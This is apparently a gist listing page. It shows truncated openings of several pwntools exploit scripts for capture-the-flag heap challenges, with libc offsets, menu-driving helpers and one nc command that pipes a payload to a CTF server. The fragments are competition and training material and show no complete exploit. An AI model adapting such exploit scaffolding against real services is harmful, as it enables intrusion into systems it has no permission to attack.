This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
from past.builtins import xrange | |
from IO_FILE import * | |
from time import sleep | |
###Utils | |
def newins(instrument,data): | |
io.sendlineafter(': ','1') | |
io.sendlineafter('Instrument: ',instrument) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
from past.builtins import xrange | |
from time import sleep | |
import random | |
#Utils | |
def create(type,number): | |
io.sendlineafter('>> ','1') | |
io.sendlineafter('> ',f'{type}') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
from past.builtins import xrange | |
from time import sleep | |
from IO_FILE import * | |
import random | |
#Utils | |
def addnote(idx,size,data,silent=False,shell=False): | |
io.sendlineafter('>> ','1') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
!/usr/bin/python3 | |
from pwn import * | |
from time import sleep | |
import random | |
#Utils | |
def newtab(): | |
port = random.randint(3000,6000) | |
handler = listen(port) | |
io.sendlineafter('>> ','N') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
from past.builtins import xrange | |
from time import sleep | |
import random | |
####elf | |
libc = ELF('./libc-2.31.so') | |
####Utils |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
libc = ELF('./libc-2.23.so') | |
####Utils | |
def alloc(size): | |
io.sendlineafter('>> ','1') | |
io.sendlineafter('>> ',str(size)) | |
def free(idx): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
from past.builtins import xrange | |
from time import sleep | |
from IO_FILE import * | |
import random | |
####Addr | |
leak_offset = 0x1b39e7 | |
system = 0x4f4e0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
```exploit.sh | |
#!/bin/bash | |
(cat payload; cat)|nc pynotes.darkarmy.xyz 32769 | |
``` | |
```payload | |
unsortedbinoffset = 0x3ebca0 | |
aaa = 0x4f4e0 | |
freehook = 0x3ed8e8 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
from past.builtins import xrange | |
from time import sleep | |
from formatstring import * | |
import random | |
#Addr | |
gadget = 0xe58c3 | |
stderr_libc = 0x3ec680 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
from past.builtins import xrange | |
from time import sleep | |
import random | |
#libc | |
libc = ELF('./heapsoftrouble.libc') | |
#Utils |
OlderNewer